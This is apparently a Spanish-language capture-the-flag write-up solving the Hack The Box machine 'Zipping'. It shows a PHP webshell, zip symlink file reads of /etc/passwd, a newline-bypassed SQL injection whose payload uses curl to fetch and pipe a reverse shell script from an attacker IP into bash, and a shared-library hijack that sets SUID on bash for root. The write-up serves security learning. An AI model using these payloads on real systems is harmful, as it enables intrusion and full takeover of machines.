# Zipping

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F5K7UUBR6Gd2nBdAfboo1%2Fzipping-0.png?alt=media&#x26;token=3170c7a3-5cf8-48aa-b7d4-bb69a46a96e8" alt=""><figcaption></figcaption></figure>

En este artículo abordaremos la resolución de la máquina **Zipping** de la plataforma Hack The Box. En primer lugar, explotaremos una vulnerabilidad conocida como **Zip Symlink Upload**, que nos permitirá leer archivos del sistema y del sitio web. Posteriormente, descubriremos que uno de estos archivos recibe un parámetro a través de GET, utilizado para ejecutar una consulta SQL que carece de parámetros y no realiza la debida sanitización de la entrada del usuario. Sin embargo, enfrentaremos una validación previa mediante la función `preg_match` de PHP, que podremos eludir aplicando la técnica **New Line Bypass**, otorgándonos acceso al sistema. Finalmente, para escalar nuestros privilegios, nos valdremos de un binario que podemos ejecutar con sudo sin requerir contraseña, explotando la vulnerabilidad conocida como **Linux Shared Library Hijacking**.

## Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F3PE95rsmpE2l1EpsQl5T%2Fzipping-1.png?alt=media&#x26;token=ae61d4e2-6a2d-4244-8b83-59cfccf68d3b" alt=""><figcaption><p><em>Reconocimento usando el comando ping</em></p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Descubrimiento de puertos abiertos <a href="#descubrimiento-de-puertos-abiertos" id="descubrimiento-de-puertos-abiertos"></a>

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.11.229 -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FH21EfmmRyryZrnesrWn6%2Fzipping-2.png?alt=media&#x26;token=7afc29d3-ac74-4b59-80f4-1e6721db38c5" alt=""><figcaption><p>Escaneo de puertos con nmap</p></figcaption></figure>

Parámetros utilizados:

* `-sS`: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
* `-p-`: Indica que debe escanear todos los puertos (es igual a `-p 1-65535`).
* `--open`: Solo considerar puertos abiertos.
* `--min-rate 5000`: Establece el número mínimo de paquetes que nmap enviará por segundo.
* `-Pn`: Desactiva el descubrimiento de host por medio de ping.
* `-vvv`: Activa el modo _verbose_ para que nos muestre resultados a medida que los encuentra.
* `-oG`: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato _grepeable_, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Utilizamos la función [extractPorts](https://pastebin.com/xNaZxRGA), para extraer y copiar los puertos en la clipboard y no tener que copiar estos de forma manual.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F0DKOKbhSGW7D9VUT2VDq%2Fzipping-3.png?alt=media&#x26;token=fa9c9f9d-30b6-4c9d-a0f8-4e232ca3d68a" alt=""><figcaption><p>extractPorts</p></figcaption></figure>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sCV -p22,80 10.10.11.229 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FkUSkxybF1fmkiUvwnz9P%2Fzipping-4.png?alt=media&#x26;token=498a81ed-ed47-410b-8ac8-55186c2ca5eb" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

Parámetros utilizados:

* `-sCV` Es la combinación de los parámetros `-sC` y `-sV`. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
* `-p-`: Indica que debe escanear todos los puertos (es igual a `-p 1-65535`)
* `-oN`: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo `targeted`. En este caso, utiliza el formato por defecto de nmap.
* `-vvv`: Activa el modo _verbose_ para que nos muestre resultados a medida que los encuentra.

Solo por motivos de comodidad, agregamos al archivo `/etc/hosts` el dominio `zipping.htb` para que al apuntar a este nos resuelva la ip de la máquina víctima.

```bash
echo "10.10.11.229 zipping.htb" | tee -a /etc/hosts
```

## Explotación <a href="#explotacion" id="explotacion"></a>

### Zip Symlink Upload <a href="#zip-symlink-upload" id="zip-symlink-upload"></a>

Si ingresamos al dominio `zipping.htb` desde nuestro navegador, nos encontramos con el suguiente sitio web:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FZKuy73FZUKNCx4EiWjAD%2Fzipping-6.png?alt=media&#x26;token=7af77ab8-0e0d-4934-851e-fb3211037b42" alt=""><figcaption><p>Sitio Web</p></figcaption></figure>

Utilizamos Wappalayzer para conocer un poco acerca de las tecnologías que utiliza el sitio web\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1H1bEWviuiUD5i1lYl55%2Fzipping-5.png?alt=media&#x26;token=5328f84c-77fa-497b-8833-1cf500f639f2" alt=""><figcaption><p>Wappalayzer</p></figcaption></figure>

Vemos que utiliza **Apache (2.4.54)** como servidor web, **Ubuntu** como sistema operativo y como lenguaje de programación **PHP** del cual no sabemos la versión.

Al explorar el sitio web, nos encontramos con la sección titulada “WORKING WITH US”. En esta sección, se presenta un formulario que tiene como proposito subir el currículum vitae de los nuevos candidatos. Se especifica que únicamente se aceptan archivos con extensión `.zip` y que dentro de dicho archivo debe existir únicamente un documento en formato `.pdf`.

Conociendo que el sitio web esta construido con PHP, intentemos subir un archivo con esta extensión.

{% code title="shell.php" %}
```php
<?php
system($_GET['cmd']);
```
{% endcode %}

Vemos que al intentar subir el fichero, nos arroja un error.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FA9OqL6NQg0Nkj2PPOzgk%2Fzipping-8.png?alt=media&#x26;token=d994355b-bf5e-422d-9479-1f0871d51e88" alt=""><figcaption><p>Error uploading file</p></figcaption></figure>

Probemos crear un archivo `zip` que contenga nuestro fichero `php`.

```bash
zip file.zip shell.php
```

Al subir el archivo, vemos que nuevamente nos lanza un error. En este caso, nos dice que el archivo zip solo debe contener archivos con extensión `.pdf`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FqblLq2xqN71IOkQ6QMq3%2Fzipping-9.png?alt=media&#x26;token=98fa3345-34a3-4135-9934-e5893f4e752c" alt=""><figcaption><p>The unzipped file must have a .pdf extension</p></figcaption></figure>

Investigando sobre las posibles vulnerabilidades al momento subir un archivo `.zip`, descubrí una técnica que consiste en crear un enlace simbólico que apunte a un archivo del sistema, (ejemplo `/etc/passwd`) y luego crear un archivo zip que incluya el enlace simbólico creado anteriormente manteniendo la información de dicho enlace. Posteriormente, al acceder a los archivos descomprimidos, se puede obtener acceso a los archivos vinculados.

Referencias: [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload#zip-tar-file-automatically-decompressed-upload)

Probemos realizar esta técnica creando un archivo zip que contenga un enlace simbólico al archivo `/etc/passwd`.

```bash
ln -s ../../../../../../../etc/passwd file.pdf
zip --symlinks file.zip file.pdf
```

Interceptemos la petición con Burp Suite para trabajar más comodo y tener mayor control sobre la solicitud.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fy2EEVUaZf0N7acsiPiIQ%2Fzipping-10.png?alt=media&#x26;token=74623e61-3e62-4630-81b1-7a25f1fb4220" alt=""><figcaption><p>Burp Suite - Proxy</p></figcaption></figure>

Enviamos la solicitud al _Repeater_ y volvemos a realizar la petición.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1SK0XuYVhd58lT3kJthA%2Fzipping-11.png?alt=media&#x26;token=e00b574d-08c3-4dd7-9e79-8919a4a101d2" alt=""><figcaption><p>Burp Suite - Repeater</p></figcaption></figure>

Vemos que logramos subir el archivo y nos devuelve la ruta para poder acceder\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FXtbPx5CiQG5a4YNL0Q0s%2Fzipping-12.png?alt=media&#x26;token=27dfbcb8-c37d-48fc-897f-48d9d6a14ad6" alt=""><figcaption><p>Burp Suite - Response</p></figcaption></figure>

Hagamos una petición usando `curl` a esa ruta:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FlNQyOMLdNIiviLhP0Pz8%2Fzipping-13.png?alt=media&#x26;token=fa0bcf84-31d6-4bed-8083-26c753a3b060" alt=""><figcaption><p>Archivo /etc/passwd</p></figcaption></figure>

Observamos que hemos logrado leer el contenido del archivo `/etc/passwd`, explotando así la vulnerabilidad.

Podemos notar que existen dos usuarios en la máquina víctima que cuentan con una shell, `root` y el usuario `rektsu`.

Intentemos ver si podemos encontrar la clave `id_rsa` del usuario `rektsu` que nos permita acceder por SSH.

Creamos nuevamente nuestro archivo zip, pero ahora nuestro enlace simbólico debe apuntar a `../../../../../../../home/rektsu/.ssh/id_rsa`

```bash
ln -s ../../../../../../../home/rektsu/.ssh/id_rsa file.pdf
zip --symlinks file.zip file.pdf
```

Hacemos nuevamente una petición con curl a la ruta indicada, pero vemos que responde con un código de estado 404.

```bash
ln -s ../../../../../../../var/www/html/upload.php file.pdf
zip --symlinks file.zip file.pdf
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FpYF9fZ0mLShoWQUg0KLn%2Fzipping-18.png?alt=media&#x26;token=f2211aa0-200a-4956-a791-1306818aee9d" alt=""><figcaption><p>curl</p></figcaption></figure>

Logramos poder leer el archivo que se encarga de realizar la subida de ficheros, pero no encontramos nada interesante.\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FI5IvVk0YA29rKspJgWBX%2Fzipping-19.png?alt=media&#x26;token=e85140e1-00eb-4528-917a-e895a477b2c7" alt=""><figcaption><p>upload.php</p></figcaption></figure>

Si exploramos el sitio web, más especificamente la sección **Store**, podemos observar que las páginas de este componente del sitio se determinan en base al parámetro `page` enviado a través de la url.

```
http://zipping.htb/shop/index.php?page=products
http://zipping.htb/shop/index.php?page=cart
http://zipping.htb/shop/index.php?page=product&id=2
```

Intentemos leer estos archivo por medio de la técnica vista anteriormente.

```bash
ln -s ../../../../../../../var/www/html/shop/products.php file.pdf
zip --symlinks file.zip file.pdf
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FWB3ygfnUcUdC6wjLBCYX%2Fzipping-23.png?alt=media&#x26;token=3858f436-b98e-4429-b298-550d4e72c65a" alt=""><figcaption><p>curl</p></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FKEem4LFSCvNvZ8O6lWIU%2Fzipping-24.png?alt=media&#x26;token=5e43ab94-03f1-4f2e-8494-f6bd2ffe6d40" alt=""><figcaption><p>product.php</p></figcaption></figure>

Este código PHP maneja la paginación y muestra productos de una base de datos, pero no expone nada que podamos explotar ya que las consultas sql estan parametrizadas.

Probemos ahora leer el archivo `index.php`.

```bash
ln -s ../../../../../../../var/www/html/shop/index.php file.pdf
zip --symlinks file.zip file.pdf
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeUxFYOh3x75pFNkMD3tH%2Fzipping-25.png?alt=media&#x26;token=27277c25-b755-4132-acd4-c1fe0974903e" alt=""><figcaption><p>index.php</p></figcaption></figure>

Vemos que esta importando otro archivo llamado `functions.php`, intentemos leer este fichero.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fmm70DOnaHKVmqyFfUbfJ%2Fzipping-26.png?alt=media&#x26;token=ed122356-da9e-421c-84c8-f5ea7f52b738" alt=""><figcaption><p>curl</p></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FhRMn8vevnZXLcLd4ayb4%2Fzipping-27.png?alt=media&#x26;token=d45bf8a6-5b11-47cd-8d19-38c275a1aa6d" alt=""><figcaption><p>functions.php</p></figcaption></figure>

Encontramos unas credenciales que son utilizadas para conectarse a la base de datos.

Si probamos estas credenciales para acceder por ssh con el usuario `rektsu`, no funcionan, confirmando que no hay reutilización de credenciales.

Probemos leer ahora el archivo `product.php`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F445TTAlGVXLVopMLkwzu%2Fzipping-29.png?alt=media&#x26;token=b7d20675-685a-450b-9b59-b18bd56c2a79" alt=""><figcaption><p>product.php</p></figcaption></figure>

Notamos algo interesante y es que este archivo recibe el parámetro `id` a través del método GET. Dicho parámetro hace referencia a un posible `id` de un producto. El mismo, se utiliza para consultar productos en la base de datos, pero en ningun momento se escapa o sanitiza, si no que se utiliza directamente en la consulta sql. De esta forma, como se indica también en el comentario, esta consulta es propensa a inyecciones SQL.

### New line bypass - `preg_match` <a href="#new-line-bypass---preg_match" id="new-line-bypass---preg_match"></a>

Examinando el código, vemos que no podemos generar un inyección sql directamente, ya que en la linea 6 se esta realizando una validación con la función `preg_match`. Investigando un poco sobre este tema, encontré una técnica que sirve para realizar un bypass de esta validación. La misma consiste en enviar nuestro payload en varias lineas, ya que al delimitar el inicio de la expresión regular `preg_match`, solo verifica la primera línea de la entrada del usuario.

Referencia: [New line bypass](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#new-line-bypass)

Interceptamos la petición con Burp Suite y la enviamos al Repeater.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FOGlSo1zwGiGHsjxDloVu%2Fzipping-31.png?alt=media&#x26;token=9607d20f-7630-487f-8e2f-3e068603938e" alt=""><figcaption><p>New line Bypass</p></figcaption></figure>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FZAMgCBOJgLLhZ7lVq8Yx%2Fzipping-46.png?alt=media&#x26;token=7f369591-4745-4779-a1d7-df92b11a262a" alt=""><figcaption><p>New line Bypass</p></figcaption></figure>

Para eludir esta verificación, debemos enviar el valor con saltos de línea aplicando el método de codificación URL (urlencoded) `%0A`.

Lo que haremos es ejecutar una consulta, la cual escriba un payload especifico en un archivo dentro de una ruta del sistema en la cual tengamos permisos de escritura. En este caso, la ruta en la cual guardaremos nuestro payload es `/var/lib/mysql`.

El payload que enviaremos es el siguiente:

```bash
';select '<?php system("curl http://10.10.14.38/revshell.sh|bash") ?>' into outfile '/var/lib/mysql/a.php'#1
```

```bash
%0A'%3bselect+'<%3fphp+system("curl+http%3a//10.10.14.38/revshell.sh|bash")+%3f>'+into+outfile+'/var/lib/mysql/a.php'%231
```

Luego, creamos un archivo `.sh` que contenga nuestra reverse shell:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fnv3zSQv8ifuqoH6gK8kt%2Fzipping-43.png?alt=media&#x26;token=6772cc39-56ea-474a-acad-79fa21bb2ccc" alt=""><figcaption><p>Reverse Shell</p></figcaption></figure>

Creamos un servidor HTTP con Python para compartir nuestra reverse shell.\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FLIocS7qT4KeiKxiiYeB3%2Fzipping-44.png?alt=media&#x26;token=7690b617-0c25-4676-87f2-cb03137049c4" alt=""><figcaption><p>Servidor HTTP con Python</p></figcaption></figure>

Nos ponemos en escucha con `nc` (netcat) por el puerto `4444`.\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FVTI4BNQZgzuvD6dAv6CW%2Fzipping-45.png?alt=media&#x26;token=231faa16-b068-4e89-93ac-fa3916a301fe" alt=""><figcaption><p>nc listener</p></figcaption></figure>

Ejecutamos la petición\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FrEAH778TnVT3IZ74em7x%2Fzipping-42.png?alt=media&#x26;token=af52f917-9db3-4397-aeac-77a00db0344b" alt=""><figcaption><p>Burp Suite Repeater</p></figcaption></figure>

```http
GET /shop/index.php?page=product&id=%0A'%3bselect+'<%3fphp+system("curl+http%3a//10.10.14.38/revshell.sh|bash")+%3f>'+into+outfile+'/var/lib/mysql/a.php'%231 HTTP/1.1
Host: zipping.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: PHPSESSID=2id3kjr4t69l0fg99j9ki12h29
Upgrade-Insecure-Requests: 1
```

Y de esta forma logramos ganar acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FIwD2OwmfvjksFr489jyI%2Fzipping-34.png?alt=media&#x26;token=1af98959-b3f2-413b-a2be-7a8b547bef2a" alt=""><figcaption><p>Burp Suite Repeater</p></figcaption></figure>

Leemos el flag del usuario.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FzX2Eo3tfFzJ2HXxnhBBF%2Fzipping-35.png?alt=media&#x26;token=e75b8d4e-dac6-40dd-a4f3-a81f696f96ed" alt=""><figcaption></figcaption></figure>

## Escalación de privilegios <a href="#escalacion-de-privilegios" id="escalacion-de-privilegios"></a>

Luego de hacer una enumeración básica del sistema, encontramos que podemos ejecutar el binario `/usr/bin/stock` sin que se requiera la introducción de una contraseña.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FzYd93IseFVaraf3a6LqH%2Fzipping-36.png?alt=media&#x26;token=94d3888b-9e52-4ffd-9e6b-5e1d882a3032" alt=""><figcaption><p>/usr/bin/stock</p></figcaption></figure>

Al ejecutar el binario, vemos que nos solicita una contraseña para poder ejecutarlo\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FcBVhXvSqcsNw9iLcRfFY%2Fzipping-47.png?alt=media&#x26;token=4999bed3-3e10-41d9-a015-37096b48fd92" alt=""><figcaption><p>/usr/bin/stock</p></figcaption></figure>

Si analizamos el binario usando el comando `strings`, logramos ver que la contraseña se encuentra hardcodeada directamente en el código `St0ckM4nager`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F5c4tDsx9IJPNI9puDtYV%2Fzipping-37.png?alt=media&#x26;token=f03fb61d-260a-4f07-afc3-da0efb4bd1e2" alt=""><figcaption><p>strings /usr/bin/stock</p></figcaption></figure>

Si ejecutamos el binario vemos que nos despliga el siguiente menú\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FpvpNgS8h3uOX7UVR4Ej2%2Fzipping-48.png?alt=media&#x26;token=f730b114-9fbf-4229-894c-e3e48b8d5d82" alt=""><figcaption><p>/usr/bin/stock</p></figcaption></figure>

Luego de realizar algunas pruebas, comprobando por ejemplo si era vulnerable a buffer overflow, decidí examinar el binario utilizando la herramienta `strace`.

> El comando `strace` es una herramienta de línea de comandos en sistemas basados en Unix y Linux que se utiliza para realizar un seguimiento de las llamadas al sistema y las señales que realiza un programa durante su ejecución. Ayuda a diagnosticar problemas de rendimiento, depurar programas y entender su comportamiento interactuando con el sistema operativo a un nivel más bajo.

Al hacer esto, encontre que la aplicación estaba intentando cargar la libreria `/home/rektsu/.config/libcounter.so` la cual no existe. Por lo tanto, podemos crear la libreria compartida para escalar nuestros privilegios.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FNOKxMP7EdWaqxXAjKfKZ%2Fzipping-38.png?alt=media&#x26;token=7e726f4c-bc3e-462a-be3b-ed1695900411" alt=""><figcaption><p>strace /usr/bin/stock</p></figcaption></figure>

#### Linux Shared Library Hijacking <a href="#linux-shared-library-hijacking" id="linux-shared-library-hijacking"></a>

> La “Linux Shared Library Hijacking” (también conocida como “DLL hijacking” en sistemas Windows) es una vulnerabilidad de seguridad que ocurre cuando un programa ejecutable carga una biblioteca dinámica (comúnmente un archivo .so en sistemas Linux) usando un nombre relativo o sin especificar una ruta completa. Si la biblioteca no se encuentra en la ubicación esperada, el sistema operativo buscará en varios directorios del sistema, y un atacante podría aprovechar esto colocando una versión maliciosa de la biblioteca en uno de esos directorios, lo que permitiría ejecutar código arbitrario.

Referencia: [Linux Shared Library Hijacking](https://xavibel.com/2022/09/06/linux-shared-library-hijacking/)

Para explotar esta vulnerabilidad utilicé el siguiente código:

```c
#include <stdio.h>
#include <stdlib.h>

static void privesc() __attribute__((constructor));

void privesc() {
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

El código anterior asigna permisos SUID al binario `/bin/bash`. La función `privesc` está marcada con el atributo `constructor`, lo que significa que se ejecutará automáticamente al cargar el programa en el que se encuentra, es decir, antes de llamar a la función `main()`. El código en la función `privesc` copia el ejecutable `/bin/bash` a `/tmp/bash`, establece el bit de setuid en el nuevo archivo y luego ejecuta `/tmp/bash -p`, logrando así ejecutar una shell como el usuario `root`.

Para crear la libreria compartida, ejecutamos el siguiente código:

```c
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC /tmp/libcounter.c
```

Parámetros utilizados:

* `-shared`: Indica al compilador que genere una biblioteca compartida en lugar de un ejecutable.
* `-o`: Especifica el nombre del archivo de salida (en este caso, `/home/rektsu/.config/libcounter.so`).
* `/home/rektsu/.config/libcounter.so`: Ruta y nombre del archivo de salida de la biblioteca compartida.
* `-fPIC`: Indica que el código generado debe ser independiente de la posición (Position Independent Code), necesario para bibliotecas compartidas.
* `/tmp/libcounter.c`: Ruta y nombre del archivo fuente en C que se compilará.

Ejecutamos el binario `/usr/bin/stock`, logrando escalar nuestro privilegios a `root`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fjhr5E0f8kD2ng79G7ZKR%2Fzipping-49.png?alt=media&#x26;token=19eed7bd-de5b-43e7-aed0-cdcec6010c7b" alt=""><figcaption><p>root</p></figcaption></figure>

De esta manera, ya podemos leer el flag de `root.txt`.\


<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1IDxtdjVCtfQoTpJL1EW%2Fzipping-41.png?alt=media&#x26;token=c3be5691-a398-4b5c-9b8d-9de7d20e1e21" alt=""><figcaption><p>root.txt</p></figcaption></figure>

Con esto, concluimos la resolución de la máquina Zipping.

Confío en que los conceptos hayan quedado claros. Si aún persisten dudas después de llegar a este punto, te sugiero considerar la posibilidad de revisitar la máquina para reforzar tu comprensión.

Gracias por tu lectura!

Happy Hacking!
